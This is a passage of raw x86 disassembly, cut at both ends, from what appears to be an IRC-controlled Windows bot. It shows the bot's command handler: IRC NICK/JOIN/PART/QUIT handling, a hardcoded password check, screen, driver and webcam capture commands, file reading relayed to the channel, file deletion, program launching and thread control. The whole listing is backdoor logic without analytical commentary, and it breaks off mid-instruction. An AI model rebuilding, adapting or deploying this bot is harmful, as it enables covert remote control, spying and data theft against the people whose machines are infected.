sub_401CC7+6F8Ej call ds:dword_4F6394 ; RtlGetLastWin32Error push eax push offset asc_4438A0 ; "-" loc_408C75: ; CODE XREF: sub_401CC7+6EDDj lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch loc_408C84: ; CODE XREF: sub_401CC7+6EC1j ; sub_401CC7+6F96j cmp [ebp+var_8], ebx jnz loc_4041D2 push ebx lea eax, [ebp+Dst] push [ebp+var_4] push eax push [ebp+Format] push esi jmp loc_4041CA ; --------------------------------------------------------------------------- loc_408CA4: ; CODE XREF: sub_401CC7+4AEDj ; sub_401CC7+4B04j push [ebp+arg_18] lea eax, [ebp+Dst] push offset aPartS_0 ; "PART %s" push eax ; Dest call _sprintf push edi ; Str call _atoi add esp, 10h test eax, eax jle loc_409B47 push edi ; Str call _atoi cmp eax, 400h pop ecx jge loc_409B47 lea eax, [ebp+Dst] push eax ; Args push offset aS_14 ; "%s\r\n" loc_408CE7: ; CODE XREF: sub_401CC7+7087j ; sub_401CC7+7BA4j push edi ; Str call _atoi imul eax, 234h pop ecx push dword_457134[eax] ; int call sub_409D26 jmp loc_404B36 ; --------------------------------------------------------------------------- loc_408D04: ; CODE XREF: sub_401CC7+4ABFj ; sub_401CC7+4AD6j push [ebp+esi+Str2] lea eax, [ebp+Dst] push [ebp+arg_18] push offset aJoinSS_1 ; "JOIN %s %s" push eax ; Dest call _sprintf push edi ; Str call _atoi add esp, 14h test eax, eax jle loc_409B47 push edi ; Str call _atoi cmp eax, 400h pop ecx jge loc_409B47 lea eax, [ebp+Dst] push eax push offset aS_15 ; "%s\r\n" jmp short loc_408CE7 ; --------------------------------------------------------------------------- loc_408D50: ; CODE XREF: sub_401CC7+4A91j ; sub_401CC7+4AA8j push [ebp+arg_18] lea eax, [ebp+Dst] push offset aNickS_5 ; "NICK %s" push eax ; Dest call _sprintf push edi ; Str call _atoi add esp, 10h test eax, eax jle loc_409B47 push edi ; Str call _atoi cmp eax, 400h pop ecx jge loc_409B47 lea eax, [ebp+Dst] push eax ; Args push offset aS_16 ; "%s\r\n" push edi ; Str call _atoi imul eax, 234h pop ecx push dword_457134[eax] ; int call sub_409D26 add esp, 0Ch push [ebp+arg_18] push edi ; Args push offset dword_443810 ; Format loc_408DB7: ; CODE XREF: sub_401CC7+717Aj ; sub_401CC7+71E8j ... call sub_415CEB jmp loc_404B36 ; --------------------------------------------------------------------------- loc_408DC1: ; CODE XREF: sub_401CC7+4A63j ; sub_401CC7+4A7Aj cmp [ebp+var_C], ebx jz loc_409B47 push [ebp+arg_18] ; SubStr push [ebp+var_C] ; Str call _strstr mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408DF2 push esi lea eax, [ebp+Dst] push offset aModeS ; "MODE %s" push eax ; Dest call _sprintf add esp, 0Ch loc_408DF2: ; CODE XREF: sub_401CC7+7114j push edi ; Str call _atoi test eax, eax pop ecx jle loc_409B47 push edi ; Str call _atoi cmp eax, 400h pop ecx jge loc_409B47 lea eax, [ebp+Dst] push eax ; Args push offset aS_17 ; "%s\r\n" push edi ; Str call _atoi imul eax, 234h pop ecx push dword_457134[eax] ; int call sub_409D26 add esp, 0Ch push esi push edi push offset dword_4437D8 jmp loc_408DB7 ; --------------------------------------------------------------------------- loc_408E46: ; CODE XREF: sub_401CC7+4A35j ; sub_401CC7+4A4Cj cmp [ebp+var_C], ebx jz loc_409B47 push [ebp+arg_18] ; SubStr push [ebp+var_C] ; Str call _strstr mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409B47 push edi ; Str call _atoi test eax, eax pop ecx jle loc_409B47 push edi ; Str call _atoi cmp eax, 400h pop ecx jge loc_409B47 push esi ; Args push offset aS_18 ; "%s\r\n" push edi ; Str call _atoi imul eax, 234h pop ecx push dword_457134[eax] ; int call sub_409D26 add esp, 0Ch push esi push edi push offset dword_4437A0 jmp loc_408DB7 ; --------------------------------------------------------------------------- loc_408EB4: ; CODE XREF: sub_401CC7+4A07j ; sub_401CC7+4A1Ej cmp [ebp+var_C], ebx jz loc_409B47 push edi ; SubStr push [ebp+var_C] ; Str call _strstr mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409B47 push esi ; Args push offset aModeS_0 ; "MODE %s\r\n" push [ebp+arg_4] ; int call sub_409D26 add esp, 0Ch push esi push offset unk_443770 jmp loc_409B40 ; --------------------------------------------------------------------------- loc_408EEE: ; CODE XREF: sub_401CC7+49D9j ; sub_401CC7+49F0j push dword ptr [ebp+Args] ; Str2 push offset a332_2 ; "332" call _strcmp pop ecx test eax, eax pop ecx jz loc_402166 push [ebp+arg_18] ; Args push offset aPartS_1 ; "PART %s\r\n" push [ebp+arg_4] ; int call sub_409D26 push edi ; Str call _atoi imul eax, 3E8h add esp, 10h push eax call ds:dword_4F6380 ; Sleep push [ebp+esi+Str2] push [ebp+arg_18] ; Args push offset aJoinSS_2 ; "JOIN %s %s\r\n" push [ebp+arg_4] ; int call sub_409D26 push offset dword_443744 call sub_415C77 jmp loc_4036D3 ; --------------------------------------------------------------------------- loc_408F54: ; CODE XREF: sub_401CC7+49ABj ; sub_401CC7+49C2j cmp [ebp+var_C], ebx jz loc_409B47 push edi ; Str call _strlen push [ebp+arg_8] ; Str mov esi, eax call _strlen add eax, [ebp+var_C] push [ebp+arg_18] ; SubStr lea eax, [eax+esi+2] push eax ; Str call _strstr mov esi, eax add esp, 10h cmp esi, ebx jz loc_409B47 push esi lea eax, [ebp+Dst] push offset dword_4436F0 ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push ebx ; int push eax ; int push edi ; Str push [ebp+arg_4] ; int call sub_409D6C add esp, 20h push esi push edi push offset unk_4436FC jmp loc_408DB7 ; --------------------------------------------------------------------------- loc_408FBD: ; CODE XREF: sub_401CC7+497Dj ; sub_401CC7+4994j cmp [ebp+var_C], ebx jz loc_409B47 push edi ; Str call _strlen push [ebp+arg_8] ; Str mov esi, eax call _strlen add eax, [ebp+var_C] push [ebp+arg_18] ; SubStr lea eax, [eax+esi+2] push eax ; Str call _strstr mov esi, eax add esp, 10h cmp esi, ebx jz loc_409B47 push ebx ; int push ebx ; int push esi ; int push edi ; Str push [ebp+arg_4] ; int call sub_409D6C add esp, 14h push esi push edi push offset unk_4436C4 jmp loc_408DB7 ; --------------------------------------------------------------------------- loc_40900E: ; CODE XREF: sub_401CC7+494Fj ; sub_401CC7+4966j cmp [ebp+var_C], ebx jz loc_402166 push [ebp+arg_18] ; SubStr push [ebp+var_C] ; Str call _strstr pop ecx cmp eax, ebx pop ecx jz loc_402166 push eax ; int push edi ; Str2 call sub_415B7F pop ecx pop ecx push edi push offset unk_443698 jmp loc_407669 ; --------------------------------------------------------------------------- loc_409040: ; CODE XREF: sub_401CC7+4921j ; sub_401CC7+4938j push [ebp+arg_18] ; int push edi ; int push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_4192B6 loc_409055: ; CODE XREF: sub_401CC7+2624j add esp, 14h jmp loc_402166 ; --------------------------------------------------------------------------- loc_40905D: ; CODE XREF: sub_401CC7+48E1j ; sub_401CC7+48F8j push edi ; SubStr push [ebp+arg_1C] ; Str call _strstr pop ecx test eax, eax pop ecx jz loc_409B47 mov esi, [ebp+esi+Format] cmp esi, ebx jz loc_409101 push esi ; SubStr push [ebp+var_C] ; Str call _strstr mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_4090E9 push esi lea eax, [ebp+Dst] push [ebp+Format] push dword ptr [ebp+Args] push [ebp+var_90] push offset aSSSS_1 ; "%s %s %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push 1FFh ; Count push eax ; Source push [ebp+Src] ; Dest call _strncpy add esp, 24h lea eax, [ebp+Dst] push esi push edi push offset asc_443608 ; "-" push eax ; Dest call _sprintf add esp, 10h inc [ebp+File] jmp loc_408AC3 ; --------------------------------------------------------------------------- loc_4090E9: ; CODE XREF: sub_401CC7+73C7j lea eax, [ebp+Dst] push offset asc_443630 ; "-" push eax ; Dest call _sprintf pop ecx pop ecx jmp loc_408AC3 ; --------------------------------------------------------------------------- loc_409101: ; CODE XREF: sub_401CC7+73B2j push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41BC18 add esp, 0Ch push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D6C add esp, 14h lea eax, [ebp+Dst] push edi push offset asc_443660 ; "-" push 200h ; Count push eax ; Dest call __snprintf add esp, 10h jmp loc_408AC3 ; --------------------------------------------------------------------------- loc_40914B: ; CODE XREF: sub_401CC7+48B3j ; sub_401CC7+48CAj push offset aScreen ; "screen" push edi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4091AE cmp [ebp+esi+Format], ebx jz short loc_40919B push [ebp+esi+Format] call sub_415F56 cmp eax, 1 pop ecx jnz short loc_409194 push [ebp+esi+Format] lea eax, [ebp+Dst] push offset asc_4433A8 ; "-" push eax ; Dest call _sprintf add esp, 0Ch jmp short loc_4091AE ; --------------------------------------------------------------------------- loc_409194: ; CODE XREF: sub_401CC7+74AEj push offset unk_4433D4 jmp short loc_4091A0 ; --------------------------------------------------------------------------- loc_40919B: ; CODE XREF: sub_401CC7+749Cj push offset asc_443404 ; "-" loc_4091A0: ; CODE XREF: sub_401CC7+74D2j lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx loc_4091AE: ; CODE XREF: sub_401CC7+7493j ; sub_401CC7+74CBj push offset aDrivers ; "drivers" push edi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz loc_409245 mov [ebp+Source], ebx loc_4091C6: ; CODE XREF: sub_401CC7+7569j lea eax, [ebp+var_53F8] push 1FFh push eax lea eax, [ebp+var_4EF0] push 0FFh push eax push [ebp+Source] call dword_4E4250 test eax, eax jz short loc_409229 lea eax, [ebp+var_53F8] push eax lea eax, [ebp+var_4EF0] push eax lea eax, [ebp+var_5D88] push [ebp+Source] push offset asc_443448 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+var_5D88] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D6C add esp, 28h loc_409229: ; CODE XREF: sub_401CC7+7522j inc [ebp+Source] cmp [ebp+Source], 0Ah jl short loc_4091C6 lea eax, [ebp+Dst] push offset asc_443470 ; "-" push eax ; Dest call _sprintf pop ecx pop ecx loc_409245: ; CODE XREF: sub_401CC7+74F6j push offset aFrame ; "frame" push edi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz loc_4092E5 cmp [ebp+esi+Format], ebx jz short loc_4092D2 cmp [ebp+esi+Str2], ebx jz short loc_4092D2 cmp [ebp+esi+var_80], ebx jz short loc_4092D2 mov eax, [ebp+esi+var_7C] cmp eax, ebx jz short loc_4092D2 push eax ; Str call _atoi pop ecx push eax ; int push [ebp+esi+var_80] ; Str call _atoi pop ecx push eax ; int push [ebp+esi+Str2] ; Str call _atoi pop ecx push eax ; Size push [ebp+esi+Format] ; int call sub_416191 add esp, 10h test eax, eax jnz short loc_4092CB push [ebp+esi+Format] lea eax, [ebp+Dst] push offset asc_4434A0 ; "-" push eax ; Dest call _sprintf add esp, 0Ch jmp short loc_4092E5 ; --------------------------------------------------------------------------- loc_4092CB: ; CODE XREF: sub_401CC7+75E5j push offset unk_4434CC jmp short loc_4092D7 ; --------------------------------------------------------------------------- loc_4092D2: ; CODE XREF: sub_401CC7+759Aj ; sub_401CC7+75A3j ... push offset asc_443500 ; "-" loc_4092D7: ; CODE XREF: sub_401CC7+7609j lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx loc_4092E5: ; CODE XREF: sub_401CC7+758Dj ; sub_401CC7+7602j push offset aVideo ; "video" push edi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz loc_408AA2 mov eax, [ebp+esi+Format] cmp eax, ebx mov [ebp+arg_18], eax jz short loc_40937B mov eax, [ebp+esi+Str2] cmp eax, ebx mov [ebp+Src], eax jz short loc_40937B mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_1C], eax jz short loc_40937B mov edi, [ebp+esi+var_7C] cmp edi, ebx jz short loc_40937B mov esi, [ebp+esi+var_78] cmp esi, ebx jz short loc_40937B push esi ; Str call _atoi pop ecx push eax ; int push edi ; Str call _atoi pop ecx push eax ; int push [ebp+arg_1C] ; Str call _atoi pop ecx push eax ; int push [ebp+Src] ; Str call _atoi pop ecx push eax ; Size push [ebp+arg_18] ; int call sub_41638A add esp, 14h test eax, eax jnz short loc_409371 push [ebp+arg_18] push offset unk_443540 jmp loc_408A93 ; --------------------------------------------------------------------------- loc_409371: ; CODE XREF: sub_401CC7+769Bj push offset unk_44356C jmp loc_409437 ; --------------------------------------------------------------------------- loc_40937B: ; CODE XREF: sub_401CC7+763Fj ; sub_401CC7+764Dj ... push offset unk_4435AC jmp loc_409437 ; --------------------------------------------------------------------------- loc_409385: ; CODE XREF: sub_401CC7+40C0j ; sub_401CC7+40D7j push offset aR_0 ; "r" push edi ; Filename call _fopen mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_4093F1 mov ebx, 200h push esi lea eax, [ebp+Dst] push ebx push eax call sub_41FDD0 add esp, 0Ch loc_4093AE: ; CODE XREF: sub_401CC7+7716j test eax, eax jz short loc_4093DF push 1 ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D6C push esi lea eax, [ebp+Dst] push ebx push eax call sub_41FDD0 add esp, 20h jmp short loc_4093AE ; --------------------------------------------------------------------------- loc_4093DF: ; CODE XREF: sub_401CC7+76E9j push esi ; File call _fclose pop ecx push edi push offset unk_442D98 jmp loc_409575 ; --------------------------------------------------------------------------- loc_4093F1: ; CODE XREF: sub_401CC7+76CFj push edi push offset unk_442DBC jmp loc_407019 ; --------------------------------------------------------------------------- loc_4093FC: ; CODE XREF: sub_401CC7+4092j ; sub_401CC7+40A9j cmp [ebp+var_C], ebx jz loc_409B47 push edi ; SubStr push [ebp+var_C] ; Str call _strstr mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409B47 push offset asc_442D3C ; "\n" push esi ; Dest call _strcat push esi ; Str call sub_41A969 add esp, 0Ch test eax, eax jnz short loc_40944A push offset asc_442D40 ; "-" loc_409437: ; CODE XREF: sub_401CC7+76AFj ; sub_401CC7+76B9j ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx jmp loc_408AA2 ; --------------------------------------------------------------------------- loc_40944A: ; CODE XREF: sub_401CC7+7769j push esi lea eax, [ebp+Dst] push offset asc_442D6C ; "-" push eax ; Dest call _sprintf add esp, 0Ch jmp loc_408AC3 ; --------------------------------------------------------------------------- loc_409464: ; CODE XREF: sub_401CC7+4064j ; sub_401CC7+407Bj cmp [ebp+var_C], ebx jz loc_409B47 push edi ; SubStr push [ebp+var_C] ; Str call _strstr pop ecx cmp eax, ebx pop ecx jz loc_409B47 push eax ; Format call sub_418F62 test eax, eax pop ecx jnz short loc_409492 push offset unk_442CF8 jmp short loc_409437 ; --------------------------------------------------------------------------- loc_409492: ; CODE XREF: sub_401CC7+77C2j push offset dword_442D18 jmp short loc_409437 ; --------------------------------------------------------------------------- loc_409499: ; CODE XREF: sub_401CC7+4036j ; sub_401CC7+404Dj push 7Fh ; Count lea eax, [ebp+var_2080] push edi ; Source push eax ; Dest call _strncpy mov esi, [ebp+esi+Format] add esp, 0Ch cmp esi, ebx jz short loc_4094C8 push 7Fh ; Count lea eax, [ebp+var_2000] push esi ; Source push eax ; Dest call _strncpy add esp, 0Ch loc_4094C8: ; CODE XREF: sub_401CC7+77EDj push 7Fh ; Count lea eax, [ebp+var_1F80] push [ebp+Format] ; Source push eax ; Dest call _strncpy mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_2084], eax mov eax, [ebp+var_8] mov [ebp+var_1EFC], eax mov eax, [ebp+var_4] mov [ebp+var_1EF8], eax push edi lea eax, [ebp+Dst] push offset asc_442C90 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 1Ch ; int push eax ; Source call sub_40B78E add esp, 18h mov [ebp+var_1F00], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2084] push ebx push eax push offset loc_41BCDD push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_1F00] imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_409569 loc_409553: ; CODE XREF: sub_401CC7+78A0j cmp [ebp+var_1EF4], ebx jnz loc_407049 push 32h call ds:dword_4F6380 ; Sleep jmp short loc_409553 ; --------------------------------------------------------------------------- loc_409569: ; CODE XREF: sub_401CC7+788Aj call ds:dword_4F6394 ; RtlGetLastWin32Error push eax push offset asc_442CA8 ; "-" loc_409575: ; CODE XREF: sub_401CC7+29C3j ; sub_401CC7+7725j lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch jmp loc_407049 ; --------------------------------------------------------------------------- loc_409589: ; CODE XREF: sub_401CC7+4008j ; sub_401CC7+401Fj push ebx ; Source push [ebp+Format] ; int push [ebp+arg_4] ; int push edi ; Str call sub_410423 add esp, 10h push edi push offset dword_442C6C jmp loc_409B40 ; --------------------------------------------------------------------------- loc_4095A7: ; CODE XREF: sub_401CC7+3FDAj ; sub_401CC7+3FF1j push 14h ; Size lea eax, [ebp+var_1D48] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_1D34] push edi push offset aS_34 ; "%s" push eax ; Dest call _sprintf mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1D50], eax lea eax, [ebp+var_C0] push eax ; Format lea eax, [ebp+var_1C30] push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1BA8], eax mov eax, [ebp+var_8] mov [ebp+var_1BA4], eax lea eax, [ebp+var_1C30] push eax lea eax, [ebp+var_1D34] push eax lea eax, [ebp+Dst] push offset asc_442C00 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 1Ah ; int push eax ; Source call sub_40B78E add esp, 1Ch mov [ebp+var_1BAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1D50] push ebx push eax push offset sub_4169B8 push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_1BAC] imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_409680 loc_40966A: ; CODE XREF: sub_401CC7+79B7j cmp [ebp+var_1BA0], ebx jnz loc_408708 push 32h call ds:dword_4F6380 ; Sleep jmp short loc_40966A ; --------------------------------------------------------------------------- loc_409680: ; CODE XREF: sub_401CC7+79A1j call ds:dword_4F6394 ; RtlGetLastWin32Error push eax push offset unk_442C24 jmp loc_4086F9 ; --------------------------------------------------------------------------- loc_409691: ; CODE XREF: sub_401CC7+3FACj ; sub_401CC7+3FC3j push edi call ds:dword_4F6388 ; DeleteFileA test eax, eax jz short loc_4096B8 push edi push offset asc_442BCC ; "-" lea eax, [ebp+Dst] push 200h ; Count push eax ; Dest call __snprintf jmp loc_40978B ; --------------------------------------------------------------------------- loc_4096B8: ; CODE XREF: sub_401CC7+79D3j push offset dword_442BE8 call sub_418E9D pop ecx push eax jmp loc_404101 ; --------------------------------------------------------------------------- loc_4096C9: ; CODE XREF: sub_401CC7+3F7Ej ; sub_401CC7+3F95j push edi ; Str call _atoi push eax call sub_41A8E2 pop ecx pop ecx push 1 pop esi cmp eax, esi push edi jnz short loc_4096E6 push offset unk_442B6C jmp short loc_4096EB ; --------------------------------------------------------------------------- loc_4096E6: ; CODE XREF: sub_401CC7+7A16j push offset asc_442B90 ; "-" loc_4096EB: ; CODE XREF: sub_401CC7+7A1Dj lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_40704C push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D6C add esp, 14h jmp loc_40704C ; --------------------------------------------------------------------------- loc_409724: ; CODE XREF: sub_401CC7+3F50j ; sub_401CC7+3F67j push ebx ; int push ebx ; int push edi ; Str2 push [ebp+var_4] ; int push ebx ; Str push [ebp+arg_4] ; int call sub_41A5C1 add esp, 18h cmp eax, 1 push edi jnz short loc_409746 push offset unk_442B10 jmp loc_407019 ; --------------------------------------------------------------------------- loc_409746: ; CODE XREF: sub_401CC7+7A73j push offset unk_442B30 jmp loc_407019 ; --------------------------------------------------------------------------- loc_409750: ; CODE XREF: sub_401CC7+3F22j ; sub_401CC7+3F39j push edi call dword_4E4260 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+var_2D4], eax jz short loc_409793 push 2 lea eax, [ebp+var_2D4] push 4 push eax call dword_4E41D8 ; gethostbyaddr cmp eax, ebx jz short loc_4097B4 push dword ptr [eax] push edi push offset asc_442A98 ; "-" loc_40977F: ; CODE XREF: sub_401CC7+7AEBj lea eax, [ebp+Dst] push eax ; Dest call _sprintf loc_40978B: ; CODE XREF: sub_401CC7+79ECj add esp, 10h jmp loc_407028 ; --------------------------------------------------------------------------- loc_409793: ; CODE XREF: sub_401CC7+7A99j push edi call dword_4E42A4 ; gethostbyname cmp eax, ebx jz short loc_4097B4 mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_4E42AC ; inet_ntoa push eax push edi push offset unk_442AB8 jmp short loc_40977F ; --------------------------------------------------------------------------- loc_4097B4: ; CODE XREF: sub_401CC7+7AAEj ; sub_401CC7+7AD5j push offset unk_442AD8 jmp loc_40891F ; --------------------------------------------------------------------------- loc_4097BE: ; CODE XREF: sub_401CC7+3EF4j ; sub_401CC7+3F0Bj push 7Fh ; Count push edi ; Source push [ebp+arg_14] ; Dest call _strncpy add esp, 0Ch push edi push offset unk_442A68 jmp loc_404BEE ; --------------------------------------------------------------------------- loc_4097D7: ; CODE XREF: sub_401CC7+3EC6j ; sub_401CC7+3EDDj push 5 push ebx push ebx push edi push offset aOpen_1 ; "open" push ebx call dword_4E418C test eax, eax push edi jz short loc_4097F7 push offset unk_442A18 jmp loc_407019 ; --------------------------------------------------------------------------- loc_4097F7: ; CODE XREF: sub_401CC7+7B24j push offset unk_442A38 jmp loc_407019 ; --------------------------------------------------------------------------- loc_409801: ; CODE XREF: sub_401CC7+3E98j ; sub_401CC7+3EAFj mov al, [edi] mov byte_440090, al movsx eax, byte ptr [edi] push eax push offset unk_4429DC jmp loc_404BEE ; --------------------------------------------------------------------------- loc_409816: ; CODE XREF: sub_401CC7+3E6Aj ; sub_401CC7+3E81j push edi ; Str call _atoi test eax, eax pop ecx jle loc_409B47 push edi ; Str call _atoi cmp eax, 400h pop ecx jge loc_409B47 push ebx ; Str1 push ebx ; int lea eax, [ebp+SubStr] push 2 ; int push eax ; Dest call sub_40B487 add esp, 10h push eax lea eax, [ebp+Dst] push offset aNickS_6 ; "NICK %s" push eax ; Dest call _sprintf add esp, 0Ch lea eax, [ebp+Dst] push eax push offset aS_19 ; "%s\r\n" jmp loc_408CE7 ; --------------------------------------------------------------------------- loc_409870: ; CODE XREF: sub_401CC7+3E3Cj ; sub_401CC7+3E53j push edi ; Str call _atoi test eax, eax pop ecx jle loc_402166 push edi ; Str call _atoi cmp eax, 400h pop ecx jge loc_402166 push offset aQuitLater_0 ; "QUIT :later\r\n" push edi ; Str call _atoi imul eax, 234h pop ecx push dword_457134[eax] ; int call sub_409D26 pop ecx pop ecx push 1F4h call ds:dword_4F6380 ; Sleep push edi ; Str call _atoi imul eax, 234h pop ecx push dword_457134[eax] call dword_4E42B8 ; closesocket push [ebp+var_10] push edi ; Str call _atoi imul eax, 234h pop ecx push dword_45713C[eax] call ds:dword_4F63B4 ; TerminateThread push edi ; Str call _atoi imul eax, 234h push edi ; Str mov dword_45713C[eax], ebx call _atoi imul eax, 234h pop ecx pop ecx mov byte ptr dword_456F28[eax], bl jmp loc_402166 ; --------------------------------------------------------------------------- loc_40991B: ; CODE XREF: sub_401CC7+3E0Ej ; sub_401CC7+3E25j push edi ; Str2 push offset aAll ; "all" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40994A call sub_40B957 cmp eax, ebx jle short loc_409940 push eax push offset unk_4428F0 jmp loc_407669 ; --------------------------------------------------------------------------- loc_409940: ; CODE XREF: sub_401CC7+7C6Cj push offset unk_442918 jmp loc_4041A3 ; --------------------------------------------------------------------------- loc_40994A: ; CODE XREF: sub_401CC7+7C63j mov eax, [ebp+var_A4] lea edi, [eax+1] cmp edi, 20h jnb loc_402166 lea eax, [ebp+edi*4+var_90] mov [ebp+File], eax loc_409966: ; CODE XREF: sub_401CC7+7D10j mov eax, [ebp+File] mov esi, [eax] cmp esi, ebx jz loc_402166 push esi ; Str call _atoi push eax call sub_40B8C9 pop ecx pop ecx test eax, eax push esi jz short loc_40998D push offset unk_442940 jmp short loc_409992 ; --------------------------------------------------------------------------- loc_40998D: ; CODE XREF: sub_401CC7+7CBDj push offset asc_442964 ; "-" loc_409992: ; CODE XREF: sub_401CC7+7CC4j lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4099C2 push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D6C add esp, 14h loc_4099C2: ; CODE XREF: sub_401CC7+7CDDj lea eax, [ebp+Dst] push eax call sub_415C77 add [ebp+File], 4 inc edi cmp edi, 20h pop ecx jb short loc_409966 jmp loc_402166 ; --------------------------------------------------------------------------- loc_4099DE: ; CODE XREF: sub_401CC7+3DE0j ; sub_401CC7+3DF7j cmp [ebp+var_C], ebx jz loc_409B47 push edi ; SubStr push [ebp+var_C] ; Str call _strstr mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409B47 push esi ; Args push offset aS_20 ; "%s\r\n" push [ebp+arg_4] ; int call sub_409D26 add esp, 0Ch push esi push offset dword_4428C0 jmp loc_409B40 ; --------------------------------------------------------------------------- loc_409A18: ; CODE XREF: sub_401CC7+3DB2j ; sub_401CC7+3DC9j push edi ; Args push offset aPartS_2 ; "PART %s\r\n" push [ebp+arg_4] ; int call sub_409D26 add esp, 0Ch push edi push offset unk_44288C jmp loc_409B40 ; --------------------------------------------------------------------------- loc_409A34: ; CODE XREF: sub_401CC7+3D84j ; sub_401CC7+3D9Bj push [ebp+esi+Format] push edi ; Args push offset aJoinSS_3 ; "JOIN %s %s\r\n" push [ebp+arg_4] ; int call sub_409D26 add esp, 10h push edi push offset unk_442850 jmp loc_409B40 ; --------------------------------------------------------------------------- loc_409A57: ; CODE XREF: sub_401CC7+3D56j ; sub_401CC7+3D6Dj push edi ; Args push offset aNickS_7 ; "NICK %s\r\n" push [ebp+arg_4] ; int call sub_409D26 add esp, 0Ch push edi push offset unk_442810 jmp loc_409B40 ; --------------------------------------------------------------------------- loc_409A73: ; CODE XREF: sub_401CC7+317Ej ; sub_401CC7+3195j push offset aQuitReconnec_0 ; "QUIT :reconnecting\r\n" push [ebp+arg_4] ; int call sub_409D26 pop ecx lea eax, [ebp+Dst] pop ecx push edi push offset asc_4424A0 ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax call sub_415C77 push edi ; Str call _atoi add esp, 14h loc_409AA9: ; CODE XREF: sub_401CC7+7E2Cj push eax call ds:dword_4F6380 ; Sleep loc_409AB0: ; CODE XREF: sub_401CC7+2A97j xor eax, eax jmp loc_402169 ; --------------------------------------------------------------------------- loc_409AB7: ; CODE XREF: sub_401CC7+3150j ; sub_401CC7+3167j push offset aQuitReconnec_1 ; "QUIT :reconnecting\r\n" push [ebp+arg_4] ; int call sub_409D26 pop ecx lea eax, [ebp+Dst] pop ecx push edi push offset asc_442448 ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax call sub_415C77 push edi ; Str call _atoi add esp, 14h imul eax, 3E8h jmp short loc_409AA9 ; --------------------------------------------------------------------------- loc_409AF5: ; CODE XREF: sub_401CC7+E9Dj ; sub_401CC7+EB2j push dword ptr [ebp+esi+Args] ; Str1 xor eax, eax cmp [ebp+var_8F0], bl setnz al push eax ; int lea eax, [ebp+Str1] push dword_440098 ; int push eax ; Dest call sub_40B487 add esp, 10h lea eax, [ebp+Str1] push eax ; Args push offset aNickS_8 ; "NICK %s\r\n" push [ebp+arg_4] ; int call sub_409D26 add esp, 0Ch lea eax, [ebp+Str1] push eax ; Args push offset asc_4410A4 ; "-" loc_409B40: ; CODE XREF: sub_401CC7+7222j ; sub_401CC7+78DBj ... call sub_415CEB pop ecx loc_409B46: ; CODE XREF: sub_401CC7+6E08j pop ecx loc_409B47: ; CODE XREF: sub_401CC7+624j ; sub_401CC7+630j ... mov eax, [ebp+File] jmp loc_402169 ; --------------------------------------------------------------------------- loc_409B4F: ; CODE XREF: sub_401CC7+A80j ; sub_401CC7+A95j mov esi, dword ptr [ebp+esi+Args] cmp esi, ebx mov [ebp+arg_20], esi jz loc_402166 cmp [ebp+var_A8], ebx jnz loc_402166 push offset asc_440EE8 ; "!" push [ebp+var_90] ; Str call _strtok mov esi, eax push offset byte_4E40C0 ; Delim push ebx ; Str inc esi call _strtok push offset asc_440EEC ; "~" push eax ; Str call _strtok push [ebp+arg_20] ; Str2 mov edi, eax push offset aIkke ; "ikke" call _strcmp add esp, 20h test eax, eax jz short loc_409BEE lea eax, [ebp+var_C0] push edi push eax lea eax, [ebp+var_C0] push eax ; Args push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push 